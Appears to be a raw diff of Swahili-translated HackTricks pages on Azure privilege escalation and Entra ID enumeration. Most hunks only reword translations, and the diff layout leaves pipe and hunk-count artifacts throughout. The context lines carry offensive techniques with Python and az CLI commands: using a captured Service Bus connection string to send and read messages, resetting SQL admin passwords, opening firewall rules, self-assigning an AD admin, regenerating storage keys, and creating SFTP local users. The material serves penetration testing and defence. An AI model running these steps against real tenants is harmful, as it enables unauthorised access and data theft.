{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+5
-5
@@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
### Tuma Ujumbe. Kitendo: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` AU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Unaweza kupata `PrimaryConnectionString`, ambayo inafanya kazi kama akidi kwa namespace ya Service Bus. Pamoja na uhusiano huu, unaweza kuthibitisha kikamilifu kama namespace ya Service Bus, na kukuwezesha kutuma ujumbe kwa foleni au mada yoyote na kwa uwezekano kuingiliana na mfumo kwa njia ambazo zinaweza kuharibu shughuli, kujifanya kuwa watumiaji halali, au kuingiza data mbaya katika mchakato wa ujumbe.
|
||||
Unaweza kupata `PrimaryConnectionString`, ambayo inafanya kazi kama akidi kwa ajili ya Service Bus namespace. Pamoja na hii connection string, unaweza kuthibitisha kikamilifu kama Service Bus namespace, ikikuruhusu kutuma ujumbe kwa foleni au mada yoyote na kwa uwezekano kuingiliana na mfumo kwa njia ambazo zinaweza kuharibu shughuli, kujifanya kuwa watumiaji halali, au kuingiza data mbaya katika mchakato wa ujumbe.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -83,7 +83,7 @@ print("----------------------------")
|
||||
```
|
||||
### Pokea Ujumbe. Kitendo: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` AU `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Unaweza kupata PrimaryConnectionString, ambayo inatumika kama akidi kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kupokea ujumbe kutoka kwa foleni yoyote au usajili ndani ya namespace, ikiruhusu ufikiaji wa data ambayo inaweza kuwa nyeti au muhimu, ikiruhusu uhamasishaji wa data, au kuingilia kati katika usindikaji wa ujumbe na michakato ya programu.
|
||||
Unaweza kupata PrimaryConnectionString, ambayo inatumika kama kitambulisho kwa ajili ya Service Bus namespace. Kwa kutumia uhusiano huu, unaweza kupokea ujumbe kutoka kwa foleni yoyote au usajili ndani ya namespace, ikiruhusu ufikiaji wa data ambayo inaweza kuwa nyeti au muhimu, kuwezesha uhamasishaji wa data, au kuingilia kati katika usindikaji wa ujumbe na michakato ya programu.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
Ikiwa una ruhusa hizi, unaweza kuongeza mamlaka kwa kusoma au kuunda funguo za ufikiaji wa pamoja. Funguo hizi zinakupa udhibiti kamili juu ya namespace ya Service Bus, ikiwa ni pamoja na kusimamia foleni, mada, na kutuma/ kupokea ujumbe, ambayo inaweza kupita udhibiti wa ufikiaji kulingana na majukumu (RBAC).
|
||||
Ikiwa una ruhusa hizi, unaweza kuongeza mamlaka kwa kusoma au kuunda funguo za ufikiaji wa pamoja. Funguo hizi zinakuwezesha kudhibiti kikamilifu jina la nafasi ya Service Bus, ikiwa ni pamoja na kusimamia foleni, mada, na kutuma/ kupokea ujumbe, ambayo inaweza kupita udhibiti wa ufikiaji unaotegemea jukumu (RBAC).
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
@@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
## Marejeo
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
|
||||
@@ -10,9 +10,9 @@ Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
|
||||
|
||||
Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akcredentials za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za server, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, ikiruhusu ufikiaji usioidhinishwa au udhibiti juu ya server. Wanaweza pia kuunda servers mpya, huenda wakileta miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.
|
||||
Kwa ruhusa hizi, mtumiaji anaweza kufanya kupandisha hadhi kwa kuboresha au kuunda Azure SQL servers na kubadilisha mipangilio muhimu, ikiwa ni pamoja na akcredentials za usimamizi. Ruhusa hii inamruhusu mtumiaji kuboresha mali za server, ikiwa ni pamoja na nenosiri la msimamizi wa SQL server, na kuwezesha ufikiaji usioidhinishwa au udhibiti juu ya server. Wanaweza pia kuunda servers mpya, ambayo inaweza kuanzisha miundombinu ya kivuli kwa madhumuni mabaya. Hii inakuwa muhimu hasa katika mazingira ambapo "Microsoft Entra Authentication Only" imezimwa, kwani wanaweza kutumia uthibitishaji wa SQL kupata ufikiaji usio na kikomo.
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -35,9 +35,9 @@ az sql server update \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
### `Microsoft.Sql/servers/firewallRules/write`
|
||||
|
||||
Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua seva kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, na kuruhusu ufikiaji kwa wahusika wabaya. Shughuli hii ya baada ya unyakuzi inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.
|
||||
Mshambuliaji anaweza kubadilisha sheria za firewall kwenye Azure SQL servers ili kuruhusu ufikiaji usioidhinishwa. Hii inaweza kutumika kufungua server kwa anwani maalum za IP au anuwai nzima za IP, ikiwa ni pamoja na IP za umma, ikiruhusu ufikiaji kwa wahusika wabaya. Shughuli hii ya baada ya mshambulizi inaweza kutumika kupita udhibiti wa usalama wa mtandao uliopo, kuanzisha kudumu, au kuwezesha harakati za upande ndani ya mazingira kwa kufichua rasilimali nyeti.
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
@@ -55,10 +55,10 @@ az sql server firewall-rule update \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
Zaidi ya hayo, ruhusa ya `Microsoft.Sql/servers/outboundFirewallRules/delete` inakuwezesha kufuta Sheria ya Firewall.
|
||||
Zaidi ya hayo, `Microsoft.Sql/servers/outboundFirewallRules/delete` ruhusa inakuwezesha kufuta Sheria ya Firewall.
|
||||
KUMBUKA: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda, kubadilisha, au kufuta sheria za firewall za IPv6 kwenye Azure SQL Server. Hii inaweza kumwezesha mshambuliaji au mtumiaji aliyeidhinishwa kupita mipangilio ya usalama wa mtandao iliyopo na kupata ufikiaji usioidhinishwa kwenye seva. Kwa kuongeza sheria inayoruhusu trafiki kutoka anwani yoyote ya IPv6, mshambuliaji anaweza kufungua seva kwa ufikiaji wa nje.
|
||||
```bash
|
||||
@@ -69,12 +69,12 @@ az sql server firewall-rule create \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
Zaidi ya hayo, ruhusa ya `Microsoft.Sql/servers/ipv6FirewallRules/delete` inakuwezesha kufuta Sheria ya Firewall.
|
||||
KUMBUKA: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` ruhusa inakuwezesha kufuta Sheria ya Firewall.
|
||||
NOTE: Ni muhimu kuwa na ufikiaji wa umma ulioanzishwa
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
|
||||
|
||||
Kwa ruhusa hizi unaweza privesc katika mazingira ya Azure SQL Server kwa kufikia hifadhidata za SQL na kupata taarifa muhimu. Kwa kutumia amri iliyo hapa chini, mshambuliaji au mtumiaji aliyeidhinishwa anaweza kujipatia au kuweka akaunti nyingine kama msimamizi wa Azure AD. Ikiwa "Microsoft Entra Authentication Only" imeanzishwa unaweza kufikia seva na mifano yake. Hapa kuna amri ya kuweka msimamizi wa Azure AD kwa seva ya SQL:
|
||||
Kwa ruhusa hizi unaweza privesc katika mazingira ya Azure SQL Server kwa kufikia hifadhidata za SQL na kupata taarifa muhimu. Kwa kutumia amri iliyo hapa chini, mshambuliaji au mtumiaji aliyeidhinishwa anaweza kujipatia au kuweka akaunti nyingine kama msimamizi wa Azure AD. Ikiwa "Microsoft Entra Authentication Only" imeanzishwa unaweza kufikia seva na matukio yake. Hapa kuna amri ya kuweka msimamizi wa Azure AD kwa seva ya SQL:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
@@ -82,7 +82,7 @@ az sql server ad-admin create \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
|
||||
|
||||
Kwa ruhusa hizi, unaweza kuunda na kutekeleza "Microsoft Entra Authentication Only" kwenye Azure SQL Server, ambayo inaweza kusaidia kupandisha hadhi katika hali fulani. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hizi anaweza kuwezesha au kuzima uthibitishaji wa Azure AD pekee.
|
||||
```bash
|
||||
|
||||
@@ -4,19 +4,19 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
Kwa maelezo zaidi kuhusu hifadhi angalia:
|
||||
Kwa maelezo zaidi kuhusu uhifadhi angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
### `Microsoft.Storage/storageAccounts/listkeys/action`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza kuorodhesha (na thamani za siri) za **funguo za ufikiaji** za akaunti za hifadhi. Hii inaruhusu mtu huyo kuongeza mamlaka yake juu ya akaunti za hifadhi.
|
||||
Mtu mwenye ruhusa hii ataweza kuorodhesha (na thamani za siri) za **funguo za ufikiaji** za akaunti za uhifadhi. Hii inaruhusu mtu huyo kupandisha hadhi yake juu ya akaunti za uhifadhi.
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza kufufua na kupata thamani mpya ya siri ya **funguo za ufikiaji** za akaunti za hifadhi. Hii inaruhusu mtu huyo kuongeza mamlaka yake juu ya akaunti za hifadhi.
|
||||
|
||||
@@ -24,7 +24,7 @@ Zaidi ya hayo, katika jibu, mtumiaji atapata thamani ya funguo zilizofufuliwa na
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
### `Microsoft.Storage/storageAccounts/write`
|
||||
|
||||
Mtu mwenye ruhusa hii ataweza kuunda au kuboresha akaunti ya kuhifadhi iliyopo akisasisha mipangilio yoyote kama sheria za mtandao au sera.
|
||||
```bash
|
||||
@@ -36,12 +36,12 @@ az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<
|
||||
```
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete`
|
||||
|
||||
Ruhusa la kwanza linaruhusu **kubadilisha sera za kutoweza kubadilishwa** katika kontena na la pili kufuta hizo sera.
|
||||
Ruhusa ya kwanza inaruhusu **kubadilisha sera za kutokuweza kubadilishwa** katika kontena na ya pili kufuta hizo.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba ikiwa sera ya kutoweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya yoyote kati ya hizo mbili.
|
||||
> Kumbuka kwamba ikiwa sera ya kutokuweza kubadilishwa iko katika hali ya kufungwa, huwezi kufanya yoyote kati ya hizo mbili.
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -56,21 +56,21 @@ az storage container immutability-policy update \
|
||||
```
|
||||
## File shares specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action`
|
||||
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kuchukua umiliki wa faili ndani ya mfumo wa faili wa pamoja.
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kuchukua umiliki wa faili ndani ya mfumo wa faili ulio shiriki.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action`
|
||||
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kubadilisha ruhusa za faili ndani ya mfumo wa faili wa pamoja.
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kubadilisha ruhusa za faili ndani ya mfumo wa faili ulio shiriki.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action`
|
||||
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kufanya vitendo ndani ya mfumo wa faili kama superuser.
|
||||
Hii inapaswa kumruhusu mtumiaji mwenye ruhusa hii kuwa na uwezo wa kutekeleza vitendo ndani ya mfumo wa faili kama superuser.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
|
||||
|
||||
Kwa ruhusa hii, mshambuliaji anaweza kuunda na kusasisha (ikiwa ana ruhusa ya `Microsoft.Storage/storageAccounts/localusers/read`) mtumiaji mpya wa ndani kwa akaunti ya Azure Storage (iliyowekwa na namespace ya kihierarkia), ikiwa ni pamoja na kuweka ruhusa za mtumiaji na saraka ya nyumbani. Ruhusa hii ni muhimu kwa sababu inamruhusu mshambuliaji kujipa ruhusa kwa akaunti ya hifadhi yenye ruhusa maalum kama kusoma (r), kuandika (w), kufuta (d), na orodha (l) na zaidi. Zaidi ya hayo, mbinu za uthibitishaji zinazotumika zinaweza kuwa nywila zinazozalishwa na Azure na funguo za SSH. Hakuna ukaguzi ikiwa mtumiaji tayari yupo, hivyo unaweza kufuta watumiaji wengine ambao tayari wapo. Mshambuliaji anaweza kuongeza mamlaka yao na kupata ufikiaji wa SSH kwa akaunti ya hifadhi, ambayo inaweza kufichua au kuhatarisha data nyeti.
|
||||
Kwa ruhusa hii, mshambuliaji anaweza kuunda na kusasisha (ikiwa ana ruhusa ya `Microsoft.Storage/storageAccounts/localusers/read`) mtumiaji mpya wa ndani kwa akaunti ya Azure Storage (iliyowekwa na namespace ya kihierarkia), ikiwa ni pamoja na kuweka ruhusa za mtumiaji na saraka ya nyumbani. Ruhusa hii ni muhimu kwa sababu inamruhusu mshambuliaji kujipa ruhusa kwa akaunti ya hifadhi yenye ruhusa maalum kama kusoma (r), kuandika (w), kufuta (d), na orodha (l) na zaidi. Zaidi ya hayo, mbinu za uthibitishaji zinazotumika zinaweza kuwa nywila zinazozalishwa na Azure na funguo za SSH. Hakuna ukaguzi ikiwa mtumiaji tayari yupo, hivyo unaweza kufuta watumiaji wengine ambao tayari wapo. Mshambuliaji anaweza kuongeza haki zao na kupata ufikiaji wa SSH kwa akaunti ya hifadhi, ambayo inaweza kufichua au kuhatarisha data nyeti.
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -80,7 +80,7 @@ az storage account local-user create \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
|
||||
|
||||
Kwa ruhusa hii, mshambuliaji anaweza kuunda upya nenosiri la mtumiaji wa ndani katika akaunti ya Azure Storage. Hii inampa mshambuliaji uwezo wa kupata akreditif mpya za uthibitishaji (kama vile nenosiri la SSH au SFTP) kwa mtumiaji. Kwa kutumia akreditif hizi, mshambuliaji anaweza kupata ufikiaji usioidhinishwa kwenye akaunti ya hifadhi, kufanya uhamishaji wa faili, au kubadilisha data ndani ya vyombo vya hifadhi. Hii inaweza kusababisha uvujaji wa data, uharibifu, au mabadiliko mabaya ya maudhui ya akaunti ya hifadhi.
|
||||
```bash
|
||||
@@ -94,7 +94,7 @@ Ili kufikia Azure Blob Storage kupitia SFTP (is_hns_enabled inapaswa kuwa kweli)
|
||||
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha kontena lililofutwa kwa kubainisha kitambulisho chake cha toleo lililofutwa au kuondoa blobs maalum ndani ya kontena, ikiwa zilikuwa zimefutwa kwa njia ya laini awali. Kuinua ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
|
||||
```bash
|
||||
@@ -110,7 +110,7 @@ az storage blob undelete \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kurejesha sehemu ya faili ya Azure iliyofutwa kwa kubainisha kitambulisho cha toleo lake lililofutwa. Kuinua kwa ruhusa hii kunaweza kumwezesha mshambuliaji kurejesha data nyeti ambayo ilikusudiwa kufutwa kabisa, ambayo inaweza kusababisha ufikiaji usioidhinishwa.
|
||||
```bash
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Active Directory (Azure AD) inatoa huduma ya Microsoft ya msingi kwa usimamizi wa utambulisho na ufikiaji. Ni muhimu katika kuwezesha wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, hasa ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**.
|
||||
Azure Active Directory (Azure AD) inatoa huduma ya Microsoft ya msingi ya wingu kwa usimamizi wa utambulisho na ufikiaji. Ni muhimu katika kuwezesha wafanyakazi kuingia na kupata rasilimali, ndani na nje ya shirika, ikiwa ni pamoja na Microsoft 365, lango la Azure, na maombi mengine mengi ya SaaS. Muundo wa Azure AD unalenga kutoa huduma muhimu za utambulisho, hasa ikiwa ni pamoja na **uthibitishaji, ruhusa, na usimamizi wa watumiaji**.
|
||||
|
||||
Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua usalama wa utambulisho wa watumiaji na kuweza kuwezesha mashirika kutekeleza na kutekeleza sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji katika wingu.
|
||||
Vipengele muhimu vya Azure AD vinajumuisha **uthibitishaji wa hatua nyingi** na **ufikiaji wa masharti**, pamoja na uunganisho usio na mshono na huduma nyingine za usalama za Microsoft. Vipengele hivi vinainua kwa kiasi kikubwa usalama wa utambulisho wa watumiaji na kuweza kwa mashirika kutekeleza na kutekeleza sera zao za ufikiaji kwa ufanisi. Kama sehemu ya msingi ya mfumo wa huduma za wingu za Microsoft, Azure AD ni muhimu kwa usimamizi wa utambulisho wa watumiaji kwa kutumia wingu.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -184,11 +184,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Wakati unapo **ingia** kupitia **CLI** kwenye Azure kwa programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. Hutaweza **kuona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**.
|
||||
Wakati unapo **ingia** kupitia **CLI** kwenye Azure na programu yoyote, unatumia **Azure Application** kutoka **tenant** inayomilikiwa na **Microsoft**. Programu hizi, kama zile unazoweza kuunda kwenye akaunti yako, **zina client id**. **Hutaweza kuziona zote** katika **orodha za programu zilizoruhusiwa** unazoweza kuona kwenye console, **lakini zinaruhusiwa kwa default**.
|
||||
|
||||
Kwa mfano, **powershell script** inayofanya **uthibitisho** inatumia programu yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama programu hiyo haitokei kwenye console, sysadmin anaweza **kuzuia programu hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia programu hiyo.
|
||||
Kwa mfano, **powershell script** inayofanya **uthibitisho** inatumia programu yenye client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Hata kama programu hiyo haitappear kwenye console, sysadmin anaweza **kuzuia programu hiyo** ili watumiaji wasiweze kufikia kwa kutumia zana zinazounganisha kupitia programu hiyo.
|
||||
|
||||
Hata hivyo, kuna **client-ids nyingine** za programu ambazo **zitakuruhusu kuungana na Azure**:
|
||||
Hata hivyo, kuna **client-ids** nyingine za programu ambazo **zitakuruhusu kuungana na Azure**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -357,7 +357,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Badilisha Nenosiri la Mtumiaji
|
||||
#### Badilisha Nywila ya Mtumiaji
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
@@ -365,7 +365,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
```
|
||||
### MFA & Sera za Ufikiaji wa Masharti
|
||||
|
||||
Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Ufikiaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** anaingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijasanifishwa vizuri zinaweza kuwa na uwezekano wa **kuepukwa**. Angalia:
|
||||
Inapendekezwa sana kuongeza MFA kwa kila mtumiaji, hata hivyo, baadhi ya kampuni hazitaweka au zinaweza kuziweka kwa Ufikiaji wa Masharti: Mtumiaji atakuwa **na hitaji la MFA ikiwa** anaingia kutoka eneo fulani, kivinjari au **hali fulani**. Sera hizi, ikiwa hazijawekwa vizuri zinaweza kuwa na uwezekano wa **kupitishwa**. Angalia:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -487,8 +487,8 @@ Wamiliki wa kundi wanaweza kuongeza watumiaji wapya kwenye kundi
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Makundi yanaweza kuwa ya dinamik, ambayo kimsingi inamaanisha kwamba **ikiwa mtumiaji atatimiza masharti fulani atajumuishwa katika kundi**. Bila shaka, ikiwa masharti yanategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia kipengele hiki vibaya ili **kuingia katika makundi mengine**.\
|
||||
> Angalia jinsi ya kutumia vibaya makundi ya dinamik katika ukurasa ufuatao:
|
||||
> Makundi yanaweza kuwa ya kidinamik, ambayo kimsingi inamaanisha kwamba **ikiwa mtumiaji atatimiza masharti fulani atajumuishwa katika kundi**. Bila shaka, ikiwa masharti yanategemea **sifa** ambazo **mtumiaji** anaweza **kudhibiti**, anaweza kutumia kipengele hiki vibaya ili **kuingia katika makundi mengine**.\
|
||||
> Angalia jinsi ya kutumia vibaya makundi ya kidinamik katika ukurasa ufuatao:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -716,7 +716,7 @@ Kwa maelezo zaidi kuhusu Maombi angalia:
|
||||
|
||||
Wakati programu inaundwa aina 2 za ruhusa zinatolewa:
|
||||
|
||||
- **Ruhusa** zinazotolewa kwa **Huduma Kuu**
|
||||
- **Ruhusa** zinazotolewa kwa **Huduma Kiongozi**
|
||||
- **Ruhusa** ambazo **programu** inaweza kuwa nazo na kutumia kwa **niaba ya mtumiaji**.
|
||||
|
||||
{{#tabs }}
|
||||
@@ -797,12 +797,12 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
|
||||
> [!NOTE]
|
||||
> Mfuatano wa siri ambao programu inatumia kuthibitisha utambulisho wake wakati wa kuomba token ni nenosiri la programu.\
|
||||
> Hivyo, ukipata **nenosiri** hili unaweza kufikia kama **service principal** **ndani** ya **tenant**.\
|
||||
> Hivyo, ukipata **nenosiri** hili unaweza kuingia kama **service principal** **ndani** ya **tenant**.\
|
||||
> Kumbuka kwamba nenosiri hili linaonekana tu wakati linapotengenezwa (unaweza kulibadilisha lakini huwezi kulipata tena).\
|
||||
> **Mmiliki** wa **programu** anaweza **kuongeza nenosiri** kwake (hivyo anaweza kujifanya kuwa yeye).\
|
||||
> Kuingia kama service principals hawa **hakutajwa kama hatari** na hawatakuwa na MFA.**
|
||||
> Kuingia kama service principals hawa **hakuwekwa alama kama hatari** na hawatakuwa na MFA.**
|
||||
|
||||
Inawezekana kupata orodha ya App IDs zinazotumika mara kwa mara ambazo ni za Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
Inawezekana kupata orodha ya App IDs zinazotumiwa mara kwa mara zinazomilikiwa na Microsoft katika [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
@@ -822,7 +822,7 @@ az identity list --output table
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
